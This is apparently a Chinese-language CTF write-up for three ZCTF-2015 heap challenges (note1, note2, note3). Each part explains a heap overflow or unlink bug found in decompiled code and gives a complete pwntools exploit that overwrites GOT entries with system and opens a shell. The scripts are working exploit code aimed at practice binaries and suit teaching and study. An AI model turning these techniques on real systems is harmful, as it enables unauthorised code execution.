ZCTF-2015_pwn

看了ctf特训营的pwn堆,里面有zctf-2015的题目那就写一下吧。

ZCTF-2015-note1

题目链接:https://github.com/z1r00/zctf-2015/blob/main/attach.zip

没开PIE,可以改GOT。

进IDA里面分析一下吧。漏洞点是下面这个红色框里,输入content时可以有512个字节。但是在创建时只有256个大小(溢出太大了。)分析得出结构体

1
2
3
4
5
QWORD Link1;		//8byte前向指针
QWORD Link2; //8byte后向指针
byte title[64]; //偏移 16~80byte处存储title的字符串
byte type[32]; //偏移80~112byte处储存type的字符串
byte content[256]; //偏移112~368byte处储存正文的字符串

因为有堆溢出先创建三个chunk。接下来修改第一个chunk进行溢出,只要伪造一个前向指针和后向指针就可以了。给他指向atoi_got - 0x80,再show一下就可以看到malloc的地址了。libc_base出来之后修改伪造的地方为system,将atoi修改成system,接下来menu之后写入/bin/sh就可以执行system(‘/bin/sh’);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

context(arch='amd64', os='linux', log_level = 'debug')

file_name = './z1r0'

debug = 0
if debug:
r = remote('node4.buuoj.cn', 25833)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

def dbg():
gdb.attach(r)

menu = 'option--->>\n'

def new(title, Type, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Enter the title:\n', title)
r.sendlineafter('Enter the type:', Type)
r.sendlineafter('Enter the content:', content)

def show():
r.sendlineafter(menu, '2')

def edit(title, content):
r.sendlineafter(menu, '3')
r.sendlineafter('Input the note title:', title)
r.sendlineafter('Enter the new content:', content)

def delete(title):
r.sendlineafter(menu, '4')
r.sendlineafter('Input the note title:', title)

new('aaaa' , 'bbbb', 'cccc')
new('dddd', 'eeee', 'ffff')
new('gggg', 'iiii', 'jjjj')


atoi_got = elf.got['atoi'] - 0x80
success('atoi_got = ' + hex(atoi_got))
p1 = b'a' * 0x100 + p64(0x01) * 3 + p64(atoi_got) + b'aaaa'
edit('aaaa', p1)

show()

malloc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
malloc_got = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

success('malloc_addr = ' + hex(malloc_addr))
success('malloc_got = ' + hex(malloc_got))

libc_base = malloc_got - libc.sym['malloc']
system_addr = libc_base + libc.sym['system']

p2 = b'a' * 0x10 + p64(system_addr)
edit('', p2)

r.recvuntil(menu)
r.sendline('/bin/sh')

#dbg()

r.interactive()

ZCTF-2015-note2

看一下保护吧。

可以改got表,pie没有开。

进IDA分析一下吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
unsigned __int64 edit()
{
char *v0; // rbx
int index; // [rsp+8h] [rbp-E8h]
int v3; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 v5; // [rsp+18h] [rbp-D8h]
char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
char *v7; // [rsp+A0h] [rbp-50h]
unsigned __int64 v8; // [rsp+D8h] [rbp-18h]

v8 = __readfsqword(0x28u);
if ( ::index )
{
puts("Input the id of the note:");
index = sub_400A4A();
if ( index >= 0 && index <= 3 )
{
src = *(&ptr + index);
v5 = qword_602140[index];
if ( src )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v3 = sub_400A4A();
if ( v3 == 1 || v3 == 2 )
{
if ( v3 == 1 )
dest[0] = 0;
else
strcpy(dest, src);
v7 = malloc(0xA0uLL);
strcpy(v7, "TheNewContents:");
printf(v7);
safe_input((v7 + 15), 144LL, 10);
sub_400B10(v7 + 15);
v0 = v7;
v0[v5 - strlen(dest) + 14] = 0;
strncat(dest, v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
strcpy(src, dest);
free(v7);
puts("Edit note success!");
}
else
{
puts("Error choice!");
}
}
else
{
puts("note has been deleted");
}
}
}
else
{
puts("Please add a note!");
}
return __readfsqword(0x28u) ^ v8;
}

漏洞点出在了edit这个函数。在edit时,选择append的时候就会产生越界。如果size开始为0.则size-strlen(dest)+14 <=14了,所以在执行strncat时可以无限附加覆盖下一个堆块。所以我们申请fastbin,因为可以覆盖后面的堆块,可以在name中伪装为假堆块,然后对其进行释放这样再申请时就会得到其地址,从而改写指针。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'

file_name = './z1r0'

debug = 0
if debug:
r = remote('node4.buuoj.cn', 25833)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

def dbg():
gdb.attach(r)

menu = 'option--->>\n'

def new(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Input the length of the note content:(less than 128)\n', str(size))
r.sendlineafter('Input the note content:\n', content)

def show(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Input the id of the note:\n', str(index))

def edit(index, Type, content):
r.sendlineafter(menu, '3')
r.sendlineafter('Input the id of the note:\n', str(index))
r.sendlineafter('do you want to overwrite or append?[1.overwrite/2.append]\n', str(Type))
r.sendlineafter('TheNewContents:', content)

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Input the id of the note:', str(index))

name_addr = 0x6020E0
address_addr = 0x602180


r.recvuntil('Input your name:\n')

p1 = p64(0x20) + p64(0x21)
p1 = p1.ljust(0x20, b'a')
p1 += p64(0x20) + p64(0x21)

r.sendline(p1)

r.recvuntil('Input your address:\n')
r.sendline('bbbb')


atoi_got = elf.got['atoi']
success('atoi_got = ' + hex(atoi_got))

new(0, '') #0
new(0x80, '') #1

ptr_addr = 0x602120

p2 = b'a' * 0x10

for i in range(7):
edit(0, 2, p2)

p3 = 'a' * 0xf
edit(0, 2, p3)
p4 = b'a' + p64(name_addr + 0x10)
edit(0, 2, p4)

new(0, '') #2

p5 = b'a' * 0x10

for i in range(2):
edit(2, 2, p5)

p6 = b'a' * 0xf
edit(2, 2,p6)

p7 = b'a' + p64(atoi_got)
edit(2, 2, p7)

show(0)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['atoi']

success('libc_base = ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']

edit(0, 1, p64(system_addr))

r.recvuntil(menu)
r.sendline('/bin/sh\x00')

r.interactive()

zctf-2015-note3

漏洞点上和一个note2有一相同之处,-1就可以覆盖堆。这题没有泄露函数,所以可以将puts给弄进去。unlink attack 将puts和free和atoi放到2020c0里。因为6020c0里面存放的是指向content的地址,先替换掉delete函数改为puts,执行puts(puts_got)搞定libc_base。接着改atoi_got为system_addr输入/bin/sh进行getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'

file_name = './z1r0'

debug = 0
if debug:
r = remote('node4.buuoj.cn', 25833)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

def dbg():
gdb.attach(r)

menu = 'option--->>\n'

def new(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Input the length of the note content:(less than 1024)\n', str(size))
r.sendlineafter('Input the note content:\n', content)

def edit(index, content):
r.sendlineafter(menu, '3')
r.sendlineafter('Input the id of the note:\n', str(index))
r.sendlineafter('Input the new content:\n', content)

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Input the id of the note:\n', str(index))

fd = p64(0x6020c8 - 0x18)
bk = p64(0x6020c8 - 0x10)

p1 = p64(0x0) + p64(0xa1) + fd + bk
new(0x80, p1) #0

new(0, 'a' * 8) #1
new(0x80, 'b' * 8) #2

new(0x80, 'c' * 8)

delete(1)

p2 = p64(0) * 2 + p64(0xa0) + p64(0x90)
new(0, p2) #1

delete(2)

free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']

success('free_got = ' + hex(free_got) + '\n' + 'puts_got = ' + hex(puts_got) + '\n' + 'atoi_got = ' + hex(atoi_got))

p3 = b'a'*0x18 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(0, p3)

puts_plt = elf.plt['puts']

edit(0, p64(0x400736)[:-1])

delete(1)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
success('libc_base = ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']

edit(2, p64(system_addr))

r.recvuntil(menu)
r.sendline('/bin/sh\x00')
#dbg()

r.interactive()